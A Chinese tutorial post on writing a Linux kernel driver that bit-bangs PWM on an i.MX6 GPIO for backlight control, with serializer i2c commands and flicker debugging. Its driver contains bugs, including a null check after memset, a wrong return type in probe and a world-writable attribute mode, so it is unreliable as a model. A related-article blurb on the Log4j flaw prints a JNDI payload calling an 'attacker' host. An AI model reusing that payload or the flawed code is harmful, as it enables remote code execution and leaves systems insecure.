GPIO模拟输出PWM调节屏幕背光亮度

news2024/9/27 19:01:03

一、概述

        很多时候由于节省硬件资源,降低成本,会把PWM控制芯片去掉或者是改做它用,导致当我们想用PWM方式控制背光时只能使用普通的GPIO口。本篇文档就来讲解下如何使用GPIO模拟PWM功能进行背光的控制。本文以IMX6为例。

二、确认硬件接口

硬件连接如下:

查看IMX6手册,发现引脚为GPIO3_IO18

三、软件配置

1、添加设备树节点

2、驱动编写

#include <linux/gpio.h>
#include <linux/of_gpio.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/platform_device.h>
#include <linux/err.h>
#include <linux/pwm.h>
#include <linux/slab.h>
#include <linux/clk.h>
 
#include <linux/iio/iio.h>
#include <linux/iio/machine.h>
#include <linux/iio/driver.h>
#include <linux/iio/consumer.h>
#include <linux/delay.h>
#include <linux/time.h>
#include <linux/timer.h>
#include <linux/input.h>
#include <linux/interrupt.h>
#include <linux/of_platform.h>
#include <linux/of_device.h>
#include <linux/types.h>
#include <linux/ioport.h>
#include <asm/irq.h>
#include <linux/of_irq.h>
#include <linux/of_address.h>
#include <linux/reset.h>

struct gpio_blacklight_dev {
	int value;
	unsigned gpio;
	struct gpio_desc * gpiod;
	struct mutex mtx;
	const char* name;
	int light_level;
	struct device *dev;
	int high_time;
	int low_time;
	unsigned long flags;
	unsigned active_low;
	struct timer_list pwm_timer;	
	void __iomem *reg_base;
};
static int gpio_sim = 0;
static int tcount = 0, flag = 0;
static int high_flag;
static int low_flag;
static int frequency = 1000; // 初始频率,单位:Hz
static int high_cnt = 50;//调节该值就能操作占空比
static int period_cnt = 100;//100个定时周期认为是一个pwm周期,所以定时器的时间应该是1s/frequency/period_cnt

static struct hrtimer pwm_timer1;
static ktime_t pwm_period;

// 背光最大值
static int max_high_cnt = 100; // 定义最大值

static ssize_t max_light_level_show(struct device *dev, struct device_attribute *attr, char *buf)
{
    return sprintf(buf, "%d\n", max_high_cnt);
}

static ssize_t max_light_level_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count)
{
    long new_max_high_cnt;
    kstrtoul(buf, 10, &new_max_high_cnt);
    if (new_max_high_cnt >= 0) {
        max_high_cnt = new_max_high_cnt;
    }
    return count;
}

static ssize_t light_level_show(struct device *dev, struct device_attribute *attr, char *buf)
{
	struct gpio_blacklight_dev *g_dev = (struct gpio_blacklight_dev *)dev_get_drvdata(dev);
	return sprintf(buf, "%d\n", high_cnt);
}
		
 
static ssize_t light_level_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count)
{
	long light_level;	
	struct gpio_blacklight_dev *g_dev = (struct gpio_blacklight_dev *)dev_get_drvdata(dev);	
	kstrtoul(buf, 10, &light_level);
	high_cnt = light_level;
	return count;
}
static DEVICE_ATTR(light_level, S_IRUGO | S_IWUSR, light_level_show, light_level_store);
static DEVICE_ATTR(max_light_level, 0664, max_light_level_show, max_light_level_store);

static struct device_attribute light_level = {
	.attr = {
		.name = "light_level",
		.mode = S_IRUGO | S_IWUGO | S_IXUGO ,
	},
	.show = light_level_show,
	.store = light_level_store,
};
static const struct of_device_id of_gpio_blacklights_match[] = {
	{ .compatible = "gpio-backlight" },
	{},
};
 
MODULE_DEVICE_TABLE(of, of_gpio_blacklights_match);
 
 /*************************************************************************/
static enum hrtimer_restart pwm_timer_callback(struct hrtimer *timer) {
	static int timer_cnt = 0;
	if(++timer_cnt == high_cnt){
		 gpio_set_value(gpio_sim, 0);
	}
	if(timer_cnt == period_cnt){
		 gpio_set_value(gpio_sim, 1);
		 timer_cnt = 0;
	}
    hrtimer_forward(timer, timer->_softexpires, pwm_period);
 
    printk("pwm_timer_callback\n");
    return HRTIMER_RESTART;
}
 
static int io_pwm_init(void) {
    // 计算 PWM 周期为pwm_period*period_cnt=pwm_period*100=1*10^(-6)
    pwm_period = ktime_set(0, 1000000000 / frequency/ period_cnt); 
 
    // 初始化定时器
    hrtimer_init(&pwm_timer1, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
    pwm_timer1.function = pwm_timer_callback;//回调函数操作GPIO
 
    // 启动高精度定时器
    hrtimer_start(&pwm_timer1, pwm_period, HRTIMER_MODE_REL);
 
    printk(KERN_INFO "PWM Timer Module Loaded\n");
    printk("io_pwm_init\n");
 
    return 0;
}
/*************************************************************************/

static int gpio_blacklight_probe(struct platform_device *pdev)
{
	
	int count = 0, ret = 0;
	struct gpio_blacklight_platform_data *pdata = dev_get_platdata(&pdev->dev);
	
	struct device *dev = &pdev->dev;
	struct gpio_blacklight_dev *gblacklight_dev;		
	
	printk("enter gpio_blacklight_probe init\n");
	gblacklight_dev = devm_kzalloc(dev, sizeof(struct gpio_blacklight_dev), GFP_KERNEL);
	memset(gblacklight_dev, 0, sizeof(*gblacklight_dev));
	if (!gblacklight_dev)
	{
		printk("devm_kzalloc gblacklight_dev fail \n");
		return -1;
	}
 
	gpio_sim = of_get_named_gpio_flags(pdev->dev.of_node, "gpio-sim", 0, NULL);
	if (gpio_sim < 0)
	{
		printk("%s() Can not read property gpio_sim\n", __FUNCTION__);
		gpio_sim = 0;
	}
	ret = gpio_request(gpio_sim, "gpio-sim");
	if (ret < 0)
	{
		printk("gpio request gpio_sim error!\n");
	}
	else
	{
		printk("==============================gpio-sim\n");
		gpio_direction_output(gpio_sim, 1);
	}
    //放在这里初始化
	io_pwm_init();

	ret = device_create_file(&pdev->dev, &dev_attr_light_level);
	    if (ret) {
       		 dev_err(&pdev->dev, "Failed to create sysfs entry\n");
     	         return ret;
    }
	device_create_file(&pdev->dev, &dev_attr_max_light_level);
	printk("gpio_pwm probe ok\n");
 
err:
	
	return ERR_PTR(ret);
}
 
static int gpio_blacklight_remove(struct platform_device *pdev)
{
	struct gpio_blacklight_dev *gblacklight_dev = (struct gpio_blacklight_dev *)dev_get_drvdata(&pdev->dev);
	del_timer(&gblacklight_dev->pwm_timer);
	device_remove_file(gblacklight_dev->dev, &light_level);	
	dev_set_drvdata(gblacklight_dev->dev, NULL);
	hrtimer_cancel(&pwm_timer1);
	return 0;
}
 
 static struct platform_driver gpio_blacklight_driver = {
	.probe		= gpio_blacklight_probe,
	.remove		= gpio_blacklight_remove,
	.driver		= {
		.name	= "blacklight-gpio",
		.of_match_table = of_match_ptr(of_gpio_blacklights_match),
		.owner = THIS_MODULE,
	},
};
 
module_platform_driver(gpio_blacklight_driver);
MODULE_LICENSE("GPL");		
MODULE_AUTHOR("xth");	

四、测试

1、sys节点

路径:/sys/devices/soc0/blacklight/light_level

问题1:背光无变化

之前调试AIM915X/916X时,将背光脚设置为了916端本地输出,修改为GPIO透传模式,如果使用的是直连的话是没有问题的

PWM GPIO2

915端为输入 i2cset -f -y 2 0x0c 0x0b 0x30

916端远程输出 i2cset -f -y 2 0x2c 0x1d 0x50

修改aim915916驱动如下

再次测试

查看寄存器是否成功写入

调节背光有明显变化,成功:

echo 10 > /sys/devices/soc0/blacklight/light_level

echo 80 > /sys/devices/soc0/blacklight/light_level

问题2:背光上电过快导致屏幕显示出撕扯的画面,或者上电一瞬间闪屏的状态

如何解决开发板背光上电过快导致的闪屏和画面撕裂?

发送每个命令之间添加一个延迟,达到延迟启动背光的效果。

addr  = 0x0B;
value = 0x30;
if((ret = i2c_smbus_write_byte_data(aim955_client, addr, value)) < 0){
    printk("I2C_AIM955 error: 0x%x 0x%x\n", addr, value);
    return ret;
}

msleep(100);  // 100毫秒延迟

addr  = 0x1D;
value = 0x50;
if((ret = i2c_smbus_write_byte_data(aim956_client, addr, value)) < 0){
    printk("I2C_AIM955 error: 0x%x 0x%x\n", addr, value);
    return ret;
}

测试无效果

查看日志log,发现PWM驱动是在屏之前加载的

PWM驱动在屏驱动加载之后?

将PWM驱动编译为模块在aim915915加载后再进行加载

make modules -j44

在启动脚本中加载PWM模块

闪屏没了,但会存在一个问题,上电到点亮背光要很长的时间

尝试修改内核中驱动的加载顺序

修改如下:

GPIOPWM驱动是在AIM915916后加载,但是还在存在闪屏

重点看下GPIOPWM驱动的问题,尝试修改占空比以及频率

修改了占空比之后问题解决,驱动在内核中进行加载,优化了系统启动时间

调试到此完成,后续会结合光感模块,实现背光自动调节功能,如感兴趣,可持续关注后续文章内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2170728.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LLM如何结合知识图谱进行RAG

从RAG到GraphRAG&#xff1a;知识图谱如何提升大模型的检索与推理能力&#xff1f; ©作者|Zane 来源|神州问学 为什么需要知识图谱 在20世纪60年代末&#xff0c;数据库技术开始发展&#xff0c;在70年代数据库技术得到了迅猛的发展&#xff0c;成为了计算机科学的一个重…

Spring Boot 学习之路 -- 处理 HTTP 请求

前言 最近因为业务需要&#xff0c;被拉去研究后端的项目&#xff0c;代码框架基于 Spring Boot&#xff0c;对我来说完全小白&#xff0c;需要重新学习研究…出于个人习惯&#xff0c;会以 Blog 文章的方式做一些记录&#xff0c;文章内容基本来源于「 Spring Boot 从入门到精…

终于弄明白了!ChatGPT原理大白话解析,看这一篇就够了

我们熟知&#xff0c;ChatGPT能聊天画图&#xff0c;能编程啃论文&#xff0c;那么&#xff0c;这个聊天机器人到底是怎么学会与人类交流的呢&#xff1f; 经过这段时间的琢磨方神倾情板书输出讲解回头翻阅各种资料&#xff0c;也终于明白了个大概&#xff0c;在这尽量给大家用…

大直径海油输油管测径仪的技术特点

关键字:海油输油管测径仪,输油管测径仪,海油管道测径仪,非接触测径仪,大直径测径仪, 大直径海油输油管测径仪的精度是确保海油管道直径测量准确性的关键因素&#xff0c;对于保障油气的顺畅传输与安全稳定具有重要意义。 大直径海油输油管测径仪的精度通常可以达到非常高的水平…

【算法系列-数组】移除元素 (双指针)

【算法系列-数组】移除元素 (双指针) 文章目录 【算法系列-数组】移除元素 (双指针)1. 算法分析&#x1f6f8;2. 删除有序数组中的重复性(LeetCode 26)2.1 解题思路&#x1f3af;2.2 解题过程&#x1f3ac;2.3 代码举例&#x1f330; 3. 移动零(LeetCode 283)3.1 解题思路&…

【java数据结构】泛型

【java数据结构】泛型 一、包装类1.1 基本数据类型对应的包装类1.2 装箱和拆箱 二、泛型2.1 引出泛型2.2 什么是泛型2.3 语法2.3.1 泛型类2.3.2 泛型接口2.3.3 泛型方法 2.4 擦除机制2.5 泛型通配符2.5.1 <?>无限定的通配符2.5.2 <? extends T>上界的通配符2.5.3…

【算法篇】二叉树类(2)(笔记)

目录 一、Leetcode 题目 1. 左叶子之和 &#xff08;1&#xff09;迭代法 &#xff08;2&#xff09;递归法 2. 找树左下角的值 &#xff08;1&#xff09;广度优先算法 &#xff08;2&#xff09;递归法 3. 路径总和 &#xff08;1&#xff09;递归法 &#xff08;2…

移动端自适应/适配方案【详解】(含多种方案对比,推荐 viewport 方案,postcss-px-to-viewport-8-plugin 的使用等)

为什么移动端需要自适应/适配 &#xff1f; 因移动端 屏幕尺寸不同屏幕分辨率不同横竖屏 移动端自适应/适配方案 【必要】设置 meta 标签 <meta name"viewport" content"widthdevice-width, initial-scale1.0, maximum-scale1.0, user-scalable0">…

N930X音乐芯片,声光报警器语音方案:“您已进入警戒区域”

随着科技的飞速发展&#xff0c;城市规模不断扩大&#xff0c;人口密集度显著增加&#xff0c;各类安全隐患也随之而来。从商业楼宇到居民小区&#xff0c;从工业园区到交通枢纽&#xff0c;每一个角落都需要高效、可靠的安防系统来守护人们的生命财产安全。 声光报警器&#…

【ADC】SAR 型 ADC 和 ΔΣ ADC 的噪声源以及输入信号驱动和电压基准驱动电路

本文学习于TI 高精度实验室课程&#xff0c;简要介绍 SAR 型 ADC 和 ΔΣ ADC 的输入信号驱动和电压基准驱动电路&#xff0c;并介绍 SAR 和 Delta-Sigma 转换器的内在和外在噪声源。 文章目录 一、ADC 的外部噪声1.1 50/60 Hz 工频干扰1.2 混叠与抗混叠滤波器1.3 射频&#xf…

博主回归!数据结构篇启动

目录 1>>闲话 2>>数据结构前言 3>>复杂度的概念 4>>时间复杂度 5>>大O渐进表示法 6>>总结 1>>闲话 家人们好久不见&#xff0c;小编军训终于是结束了&#xff0c;大一事情太多了&#xff0c;这几天没时间健身&#xff0c;没时间…

WT2605C蓝牙语音芯片智能对话模型 人机互动 让机械设备更智能

随着人工智能技术的飞速发展&#xff0c;AI语音芯片在机械设备领域的应用日益广泛。WT2605C作为一款集成了在线TTS&#xff08;Text-To-Speech&#xff0c;文本到语音&#xff09;功能的蓝牙语音芯片&#xff0c;凭借其卓越的性能和广泛的应用前景&#xff0c;为机械设备产品带…

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

漏洞描述&#xff1a; 当用户输入信息时&#xff0c;应用程序中的log4j 2组件会将信息记录到日志中 假如日志中包含有语句${jndi:ldap:attacker:1099/exp}&#xff0c;log4j就会去解析该信息&#xff0c;通过jndi的lookup() 方法去解析该url&#xff1a;ldap:attacker:1099/e…

vue-实现rtmp直播流

1、安装vue-video-player与videojs-flash npm install vue-video-player -S npm install videojs-flash --save 2、在main.js中引入 3、组件中使用 这样就能实现rtmp直播流在浏览器中播放&#xff0c;但有以下几点切记&#xff0c;不要入坑 1.安装vue-video-player插件一定…

Java.反射

目录 1.获取class 的三种方式 2.利用反射获取构造方法 3.利用反射获取成员变量 4.利用反射获取成员方法 1.获取class 的三种方式 全类名怎么找? 全类名报名&#xff0b;类名 package MyReflect;public class Student {private String id;private String name;private int…

LeetCode Hot100 C++ 哈希 1.两数之和

LeetCode Hot100 C 1.两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案&#xff0c;并且你不能使用两次相同的元素。 你可以按…

HTML5实现唐朝服饰网站模板源码

文章目录 1.设计来源1.1 网站首页-界面效果1.2 唐装演变-界面效果1.3 唐装配色-界面效果1.4 唐装花纹-界面效果1.5 唐装文化-界面效果 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcL…

【DP解密多重背包问题】:优化策略与实现

文章目录 什么是多重背包问题&#xff1f;多重背包问题的数学模型 例题多重背包问题Ⅰ多重背包问题Ⅱ 总结 什么是多重背包问题&#xff1f; 多重背包问题是一个经典的组合优化问题。与标准背包问题不同&#xff0c;在多重背包问题中&#xff0c;每种物品可以选择多个&#xf…

数据链路层之以太网

目录 ​前言 什么是以太网&#xff1f; 以太网帧格式 6位源地址和目的地址 什么是MAC地址&#xff1f; MAC地址和IP地址的区别 2位类型 ARP协议 ARP协议的作用 ARP协议的工作流程 数据长度 MTU对IP协议的影响 CRC校验和 前言 在前面&#xff0c;我们已经讲了在TC…

安卓好软-----手机屏幕自动点击工具 无需root权限

工具可以设置后自动点击屏幕。可以用于一些操作。例如自动刷视频等等哦 工具介绍 一款可以帮你实现自动操作的软件。软件中你可以根据实际需要设置点击位置&#xff0c;可以是屏幕上的特定位置&#xff0c;也可以是按钮或控件。功能非常强大&#xff0c;但是操作非常简单&…